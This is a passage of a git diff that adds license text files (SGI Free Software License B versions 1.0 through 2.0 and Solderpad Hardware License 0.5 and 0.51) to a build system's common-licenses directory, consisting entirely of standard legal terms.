+ B. Alternative License. Provided that Recipient is in compliance with the terms of this License, Recipient may distribute the source code and/or executable version(s) of Covered Code under (1) this License; (2) a license identical to this License but for only such changes as are necessary in order to clarify Recipient’s role as licensor of Modifications, without derogation of any of SGI’s rights; and/or (3) a license of Recipient’s choosing, containing terms different from this License, provided that the license terms include this Section 3 and Sections 4, 6, 7, 10, 12, and 13, which terms may not be modified or superseded by any other terms of such license. If Recipient elects to use any license other than this License, Recipient must make it absolutely clear that any of its terms which differ from this License are offered by Recipient alone, and not by SGI.
+
+ C. Indemnity. Recipient hereby agrees to indemnify SGI for any liability incurred by SGI as a result of any such alternative license terms Recipient offers.
+
+4. Termination. This License and the rights granted hereunder will terminate automatically if Recipient breaches any term herein and fails to cure such breach within 30 days thereof. Any sublicense to the Covered Code that is properly granted shall survive any termination of this License, absent termination by the terms of such sublicense. Provisions that, by their nature, must remain in effect beyond the termination of this License, shall survive.
+
+5. No Trademark Or Other Rights. This License does not grant any rights to: (i) any software apart from the Covered Code, nor shall any other rights or licenses not expressly granted hereunder arise by implication, estoppel or otherwise with respect to the Covered Code; (ii) any trade name, trademark or service mark whatsoever, including without limitation any related right for purposes of endorsement or promotion of products derived from the Covered Code, without prior written permission of SGI; or (iii) any title to or ownership of the Original Code, which shall at all times remains with SGI. All rights in the Original Code not expressly granted under this License are reserved.
+
+6. Compliance with Laws; Non-Infringement. Recipient hereby assures that it shall comply with all applicable laws, regulations, and executive orders, in connection with any and all dispositions of Covered Code, including but not limited to, all export, re-export, and import control laws, regulations, and executive orders, of the U.S. government and other countries. Recipient may not distribute Covered Code that (i) in any way infringes (directly or contributorily) the rights (including patent, copyright, trade secret, trademark or other intellectual property rights of any kind) of any other person or entity or (ii) breaches any representation or warranty, express, implied or statutory, to which, under any applicable law, it might be deemed to have been subject.
+
+7. Claims of Infringement. If Recipient learns of any third party claim that any disposition of Covered Code and/or functionality wholly or partially infringes the third party's intellectual property rights, Recipient will promptly notify SGI of such claim.
+
+8. Versions of the License. SGI may publish revised and/or new versions of the License from time to time, each with a distinguishing version number. Once Covered Code has been published under a particular version of the License, Recipient may, for the duration of the license, continue to use it under the terms of that version, or choose to use such Covered Code under the terms of any subsequent version published by SGI. Subject to the provisions of Sections 3 and 4 of this License, only SGI may modify the terms applicable to Covered Code created under this License.
+
+9. DISCLAIMER OF WARRANTY. COVERED CODE IS PROVIDED "AS IS." ALL EXPRESS AND IMPLIED WARRANTIES AND CONDITIONS ARE DISCLAIMED, INCLUDING, WITHOUT LIMITATION, ANY IMPLIED WARRANTIES AND CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. SGI ASSUMES NO RISK AS TO THE QUALITY AND PERFORMANCE OF THE SOFTWARE. SHOULD THE SOFTWARE PROVE DEFECTIVE IN ANY RESPECT, SGI ASSUMES NO COST OR LIABILITY FOR SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY IS AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT SUBJECT TO THIS DISCLAIMER.
+
+10. LIMITATION OF LIABILITY. UNDER NO CIRCUMSTANCES NOR LEGAL THEORY, WHETHER TORT (INCLUDING, WITHOUT LIMITATION, NEGLIGENCE OR STRICT LIABILITY), CONTRACT, OR OTHERWISE, SHALL SGI OR ANY SGI LICENSOR BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, LOSS OF DATA, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SGI's NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THAT EXCLUSION AND LIMITATION MAY NOT APPLY TO RECIPIENT.
+
+11. Indemnity. Recipient shall be solely responsible for damages arising, directly or indirectly, out of its utilization of rights under this License. Recipient will defend, indemnify and hold harmless Silicon Graphics, Inc. from and against any loss, liability, damages, costs or expenses (including the payment of reasonable attorneys fees) arising out of Recipient's use, modification, reproduction and distribution of the Covered Code or out of any representation or warranty made by Recipient.
+
+12. U.S. Government End Users. The Covered Code is a "commercial item" consisting of "commercial computer software" as such terms are defined in title 48 of the Code of Federal Regulations and all U.S. Government End Users acquire only the rights set forth in this License and are subject to the terms of this License.
+
+13. Miscellaneous. This License represents the complete agreement concerning the its subject matter. If any provision of this License is held to be unenforceable, such provision shall be reformed so as to achieve as nearly as possible the same legal and economic effect as the original provision and the remainder of this License will remain in effect. This License shall be governed by and construed in accordance with the laws of the United States and the State of California as applied to agreements entered into and to be performed entirely within California between California residents. Any litigation relating to this License shall be subject to the exclusive jurisdiction of the Federal Courts of the Northern District of California (or, absent subject matter jurisdiction in such courts, the courts of the State of California), with venue lying exclusively in Santa Clara County, California, with the losing party responsible for costs, including without limitation, court costs and reasonable attorneys fees and expenses. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+Exhibit A
+
+License Applicability. Except to the extent portions of this file are made subject to an alternative license as permitted in the SGI Free Software License B, Version 1.0 (the "License"), the contents of this file are subject only to the provisions of the License. You may not use this file except in compliance with the License. You may obtain a copy of the License at Silicon Graphics, Inc., attn: Legal Services, 1600 Ampitheatre Parkway, Mountain View, CA 94043-1351, or at:
+
+http://oss.sgi.com/projects/FreeB
+
+Note that, as provided in the License, the Software is distributed on an "AS IS" basis, with ALL EXPRESS AND IMPLIED WARRANTIES AND CONDITIONS DISCLAIMED, INCLUDING, WITHOUT LIMITATION, ANY IMPLIED WARRANTIES AND CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT.
+
+Original Code. The Original Code is: [name of software, version number, and release date], developed by Silicon Graphics, Inc. The Original Code is Copyright (c) [dates of first publication, as appearing in the Notice in the Original Code] Silicon Graphics, Inc. Copyright in any portions created by third parties is as indicated elsewhere herein. All Rights Reserved.
+
+Additional Notice Provisions: [such additional provisions, if any, as appear in the Notice in the Original Code under the heading "Additional Notice Provisions"]
diff --git a/meta/files/common-licenses/SGI-B-1.1 b/meta/files/common-licenses/SGI-B-1.1
new file mode 100644
index 0000000000..3f688177ef
--- /dev/null
+++ b/meta/files/common-licenses/SGI-B-1.1
@@ -0,0 +1,84 @@
+SGI FREE SOFTWARE LICENSE B
+(Version 1.1 02/22/2000)
+
+1. Definitions.
+
+ 1.1 "Additional Notice Provisions" means such additional provisions as appear in the Notice in Original Code under the heading "Additional Notice Provisions."
+
+ 1.2 "Covered Code" means the Original Code or Modifications, or any combination thereof.
+
+ 1.3 "Hardware" means any physical device that accepts input, processes input, stores the results of processing, and/or provides output.
+
+ 1.4 "Larger Work" means a work that combines Covered Code or portions thereof with code not governed by the terms of this License.
+
+ 1.5 "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+ 1.6 "License" means this document.
+
+ 1.7 "Licensed Patents" means patent claims Licensable by SGI that are infringed by the use or sale of Original Code or any Modifications provided by SGI, or any combination thereof.
+
+ 1.8 "Modifications" means any addition to or deletion from the substance or structure of the Original Code or any previous Modifications. When Covered Code is released as a series of files, a Modification is:
+
+ A. Any addition to the contents of a file containing Original Code and/or addition to or deletion from the contents of a file containing previous Modifications.
+
+ B. Any new file that contains any part of the Original Code or previous Modifications.
+
+ 1.9 "Notice" means any notice in Original Code or Covered Code, as required by and in compliance with this License.
+
+ 1.10 "Original Code" means source code of computer software code that is described in the source code Notice required by Exhibit A as Original Code, and updates and error corrections specifically thereto.
+
+ 1.11 "Recipient" means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 8. For legal entities, "Recipient" includes any entity that controls, is controlled by, or is under common control with Recipient. For purposes of this definition, "control" of an entity means (a) the power, direct or indirect, to direct or manage such entity, or (b) ownership of fifty percent (50%) or more of the outstanding shares or beneficial ownership of such entity.
+
+ 1.12 "Recipient Patents" means patent claims Licensable by a Recipient that are infringed by the use or sale of Original Code or any Modifications provided by SGI, or any combination thereof.
+
+ 1.13 "SGI" means Silicon Graphics, Inc.
+
+ 1.14 "SGI Patents" means patent claims Licensable by SGI other than the Licensed Patents.
+
+2. License Grant and Restrictions.
+
+ 2.1 SGI License Grant. Subject to the terms of this License and any third party intellectual property claims, for the duration of intellectual property protections inherent in the Original Code, SGI hereby grants Recipient a worldwide, royalty-free, non-exclusive license, to do the following: (i) under copyrights Licensable by SGI, to reproduce, distribute, create derivative works from, and, to the extent applicable, display and perform the Original Code and/or any Modifications provided by SGI alone and/or as part of a Larger Work; and (ii) under any Licensable Patents, to make, have made, use, sell, offer for sale, import and/or otherwise transfer the Original Code and/or any Modifications provided by SGI. Recipient accepts the terms and conditions of this License by undertaking any of the aforementioned actions. The patent license shall apply to the Covered Code if, at the time any related Modification is added, such addition of the Modification causes such combination to be covered by the Licensed Patents. The patent license in Section 2.1(ii) shall not apply to any other combinations that include the Modification. No patent license is provided under SGI Patents for infringements of SGI Patents by Modifications not provided by SGI or combinations of Original Code and Modifications not provided by SGI.
+
+ 2.2 Recipient License Grant. Subject to the terms of this License and any third party intellectual property claims, Recipient hereby grants SGI and any other Recipients a worldwide, royalty-free, non-exclusive license, under any Recipient Patents, to make, have made, use, sell, offer for sale, import and/or otherwise transfer the Original Code and/or any Modifications provided by SGI.
+
+ 2.3 No License For Hardware Implementations. The licenses granted in Section 2.1 and 2.2 are not applicable to implementation in Hardware of the algorithms embodied in the Original Code or any Modifications provided by SGI .
+
+3. Redistributions.
+
+ 3.1 Retention of Notice/Copy of License. The Notice set forth in Exhibit A, below, must be conspicuously retained or included in any and all redistributions of Covered Code. For distributions of the Covered Code in source code form, the Notice must appear in every file that can include a text comments field; in executable form, the Notice and a copy of this License must appear in related documentation or collateral where the Recipient’s rights relating to Covered Code are described. Any Additional Notice Provisions which actually appears in the Original Code must also be retained or included in any and all redistributions of Covered Code.
+
+ 3.2 Alternative License. Provided that Recipient is in compliance with the terms of this License, Recipient may, so long as without derogation of any of SGI’s rights in and to the Original Code, distribute the source code and/or executable version(s) of Covered Code under (1) this License; (2) a license identical to this License but for only such changes as are necessary in order to clarify Recipient’s role as licensor of Modifications; and/or (3) a license of Recipient’s choosing, containing terms different from this License, provided that the license terms include this Section 3 and Sections 4, 6, 7, 10, 12, and 13, which terms may not be modified or superseded by any other terms of such license. If Recipient elects to use any license other than this License, Recipient must make it absolutely clear that any of its terms which differ from this License are offered by Recipient alone, and not by SGI. It is emphasized that this License is a limited license, and, regardless of the license form employed by Recipient in accordance with this Section 3.2, Recipient may relicense only such rights, in Original Code and Modifications by SGI, as it has actually been granted by SGI in this License.
+
+ 3.3 Indemnity. Recipient hereby agrees to indemnify SGI for any liability incurred by SGI as a result of any such alternative license terms Recipient offers.
+
+4. Termination. This License and the rights granted hereunder will terminate automatically if Recipient breaches any term herein and fails to cure such breach within 30 days thereof. Any sublicense to the Covered Code that is properly granted shall survive any termination of this License, absent termination by the terms of such sublicense. Provisions that, by their nature, must remain in effect beyond the termination of this License, shall survive.
+
+5. No Trademark Or Other Rights. This License does not grant any rights to: (i) any software apart from the Covered Code, nor shall any other rights or licenses not expressly granted hereunder arise by implication, estoppel or otherwise with respect to the Covered Code; (ii) any trade name, trademark or service mark whatsoever, including without limitation any related right for purposes of endorsement or promotion of products derived from the Covered Code, without prior written permission of SGI; or (iii) any title to or ownership of the Original Code, which shall at all times remains with SGI. All rights in the Original Code not expressly granted under this License are reserved.
+
+6. Compliance with Laws; Non-Infringement. There are various worldwide laws, regulations, and executive orders applicable to dispositions of Covered Code, including without limitation export, re-export, and import control laws, regulations, and executive orders, of the U.S. government and other countries, and Recipient is reminded it is obliged to obey such laws, regulations, and executive orders. Recipient may not distribute Covered Code that (i) in any way infringes (directly or contributorily) any intellectual property rights of any kind of any other person or entity or (ii) breaches any representation or warranty, express, implied or statutory, to which, under any applicable law, it might be deemed to have been subject.
+
+7. Claims of Infringement. If Recipient learns of any third party claim that any disposition of Covered Code and/or functionality wholly or partially infringes the third party's intellectual property rights, Recipient will promptly notify SGI of such claim.
+
+8. Versions of the License. SGI may publish revised and/or new versions of the License from time to time, each with a distinguishing version number. Once Covered Code has been published under a particular version of the License, Recipient may, for the duration of the license, continue to use it under the terms of that version, or choose to use such Covered Code under the terms of any subsequent version published by SGI. Subject to the provisions of Sections 3 and 4 of this License, only SGI may modify the terms applicable to Covered Code created under this License.
+
+9. DISCLAIMER OF WARRANTY. COVERED CODE IS PROVIDED "AS IS." ALL EXPRESS AND IMPLIED WARRANTIES AND CONDITIONS ARE DISCLAIMED, INCLUDING, WITHOUT LIMITATION, ANY IMPLIED WARRANTIES AND CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. SGI ASSUMES NO RISK AS TO THE QUALITY AND PERFORMANCE OF THE SOFTWARE. SHOULD THE SOFTWARE PROVE DEFECTIVE IN ANY RESPECT, SGI ASSUMES NO COST OR LIABILITY FOR SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY IS AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT SUBJECT TO THIS DISCLAIMER.
+
+10. LIMITATION OF LIABILITY. UNDER NO CIRCUMSTANCES NOR LEGAL THEORY, WHETHER TORT (INCLUDING, WITHOUT LIMITATION, NEGLIGENCE OR STRICT LIABILITY), CONTRACT, OR OTHERWISE, SHALL SGI OR ANY SGI LICENSOR BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, LOSS OF DATA, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SGI's NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THAT EXCLUSION AND LIMITATION MAY NOT APPLY TO RECIPIENT.
+
+11. Indemnity. Recipient shall be solely responsible for damages arising, directly or indirectly, out of its utilization of rights under this License. Recipient will defend, indemnify and hold harmless Silicon Graphics, Inc. from and against any loss, liability, damages, costs or expenses (including the payment of reasonable attorneys fees) arising out of Recipient's use, modification, reproduction and distribution of the Covered Code or out of any representation or warranty made by Recipient.
+
+12. U.S. Government End Users. The Covered Code is a "commercial item" consisting of "commercial computer software" as such terms are defined in title 48 of the Code of Federal Regulations and all U.S. Government End Users acquire only the rights set forth in this License and are subject to the terms of this License.
+
+13. Miscellaneous. This License represents the complete agreement concerning the its subject matter. If any provision of this License is held to be unenforceable, such provision shall be reformed so as to achieve as nearly as possible the same legal and economic effect as the original provision and the remainder of this License will remain in effect. This License shall be governed by and construed in accordance with the laws of the United States and the State of California as applied to agreements entered into and to be performed entirely within California between California residents. Any litigation relating to this License shall be subject to the exclusive jurisdiction of the Federal Courts of the Northern District of California (or, absent subject matter jurisdiction in such courts, the courts of the State of California), with venue lying exclusively in Santa Clara County, California, with the losing party responsible for costs, including without limitation, court costs and reasonable attorneys fees and expenses. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation that provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+Exhibit A
+
+License Applicability. Except to the extent portions of this file are made subject to an alternative license as permitted in the SGI Free Software License B, Version 1.1 (the "License"), the contents of this file are subject only to the provisions of the License. You may not use this file except in compliance with the License. You may obtain a copy of the License at Silicon Graphics, Inc., attn: Legal Services, 1600 Amphitheatre Parkway, Mountain View, CA 94043-1351, or at:
+
+http://oss.sgi.com/projects/FreeB
+
+Note that, as provided in the License, the Software is distributed on an "AS IS" basis, with ALL EXPRESS AND IMPLIED WARRANTIES AND CONDITIONS DISCLAIMED, INCLUDING, WITHOUT LIMITATION, ANY IMPLIED WARRANTIES AND CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT.
+
+Original Code. The Original Code is: [name of software, version number, and release date], developed by Silicon Graphics, Inc. The Original Code is Copyright (c) [dates of first publication, as appearing in the Notice in the Original Code] Silicon Graphics, Inc. Copyright in any portions created by third parties is as indicated elsewhere herein. All Rights Reserved.
+
+Additional Notice Provisions: [such additional provisions, if any, as appear in the Notice in the Original Code under the heading "Additional Notice Provisions"]
diff --git a/meta/files/common-licenses/SGI-B-2.0 b/meta/files/common-licenses/SGI-B-2.0
new file mode 100644
index 0000000000..19a4a9e985
--- /dev/null
+++ b/meta/files/common-licenses/SGI-B-2.0
@@ -0,0 +1,12 @@
+SGI FREE SOFTWARE LICENSE B
+(Version 2.0, Sept. 18, 2008)
+
+Copyright (C) [dates of first publication] Silicon Graphics, Inc. All Rights Reserved.
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice including the dates of first publication and either this permission notice or a reference to http://oss.sgi.com/projects/FreeB/ shall be included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL SILICON GRAPHICS, INC. BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+Except as contained in this notice, the name of Silicon Graphics, Inc. shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Software without prior written authorization from Silicon Graphics, Inc.
diff --git a/meta/files/common-licenses/SHL-0.5 b/meta/files/common-licenses/SHL-0.5
new file mode 100644
index 0000000000..52dee6fac4
--- /dev/null
+++ b/meta/files/common-licenses/SHL-0.5
@@ -0,0 +1,64 @@
+SOLDERPAD HARDWARE LICENSE version 0.5
+
+This license is based closely on the Apache License Version 2.0, but is not approved or endorsed by the Apache Foundation. A copy of the non-modified Apache License 2.0 can be found at http://www.apache.org/licenses/LICENSE-2.0.
+
+As this license is not currently OSI or FSF approved, the Licensor permits any Work licensed under this License, at the option of the Licensee, to be treated as licensed under the Apache License Version 2.0 (which is so approved).
+
+This License is licensed under the terms of this License and in particular clause 7 below (Disclaimer of Warranties) applies in relation to its use.
+
+TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+1. Definitions.
+
+"License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document.
+
+"Licensor" shall mean the Rights owner or entity authorized by the Rights owner that is granting the License.
+
+"Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.
+
+"You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License.
+
+“Rights” means copyright and any similar right including design right (whether registered or unregistered), semiconductor topography (mask) rights and database extraction rights (but excluding Patents and Trademarks).
+
+"Source" form shall mean the preferred form for making modifications, including but not limited to source code, net lists, board layouts, CAD files, documentation source, and configuration files.
+
+"Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, the instantiation of a hardware design and conversions to other media types, including intermediate forms such as bytecodes, FPGA bitstreams, artwork and semiconductor topographies (mask works).
+
+"Work" shall mean the work of authorship, whether in Source form or other Object form, made available under the License, as indicated by a Rights notice that is included in or attached to the work (an example is provided in the Appendix below).
+
+"Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) or physically connect to or interoperate with the interfaces of, the Work and Derivative Works thereof.
+
+"Contribution" shall mean any design or work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the Rights owner or by an individual or Legal Entity authorized to submit on behalf of the Rights owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the Rights owner as "Not a Contribution."
+
+"Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work.
+
+2. Grant of License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable license under the Rights to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form and do anything in relation to the Work as if the Rights did not exist.
+
+3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed.
+
+4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions:
+
+You must give any other recipients of the Work or Derivative Works a copy of this License; and
+
+You must cause any modified files to carry prominent notices stating that You changed the files; and
+
+You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and
+
+If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License.
+
+5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions.
+
+6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file.
+
+7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License.
+
+8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages.
+
+9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability.
+
+END OF TERMS AND CONDITIONS
+
+APPENDIX: How to apply this license to your work
+To apply this license to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives.
+
+Copyright [yyyy] [name of copyright owner] Copyright and related rights are licensed under the Solderpad Hardware License, Version 0.5 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://solderpad.org/licenses/SHL-0.5. Unless required by applicable law or agreed to in writing, software, hardware and materials distributed under this License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
diff --git a/meta/files/common-licenses/SHL-0.51 b/meta/files/common-licenses/SHL-0.51
new file mode 100644
index 0000000000..548639d16e
--- /dev/null
+++ b/meta/files/common-licenses/SHL-0.51
@@ -0,0 +1,65 @@
+SOLDERPAD HARDWARE LICENSE version 0.51
+
+This license is based closely on the Apache License Version 2.0, but is not approved or endorsed by the Apache Foundation. A copy of the non-modified Apache License 2.0 can be found at http://www.apache.org/licenses/LICENSE-2.0.
+
+As this license is not currently OSI or FSF approved, the Licensor permits any Work licensed under this License, at the option of the Licensee, to be treated as licensed under the Apache License Version 2.0 (which is so approved).
+
+This License is licensed under the terms of this License and in particular clause 7 below (Disclaimer of Warranties) applies in relation to its use.
+
+TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+1. Definitions.
+
+"License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document.
+
+"Licensor" shall mean the Rights owner or entity authorized by the Rights owner that is granting the License.
+
+"Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.
+
+"You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License.
+
+"Rights" means copyright and any similar right including design right (whether registered or unregistered), semiconductor topography (mask) rights and database rights (but excluding Patents and Trademarks).
+
+"Source" form shall mean the preferred form for making modifications, including but not limited to source code, net lists, board layouts, CAD files, documentation source, and configuration files.
+
+"Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, the instantiation of a hardware design and conversions to other media types, including intermediate forms such as bytecodes, FPGA bitstreams, artwork and semiconductor topographies (mask works).
+
+"Work" shall mean the work of authorship, whether in Source form or other Object form, made available under the License, as indicated by a Rights notice that is included in or attached to the work (an example is provided in the Appendix below).
+
+"Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) or physically connect to or interoperate with the interfaces of, the Work and Derivative Works thereof.
+
+"Contribution" shall mean any design or work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the Rights owner or by an individual or Legal Entity authorized to submit on behalf of the Rights owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the Rights owner as "Not a Contribution."
+
+"Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work.
+
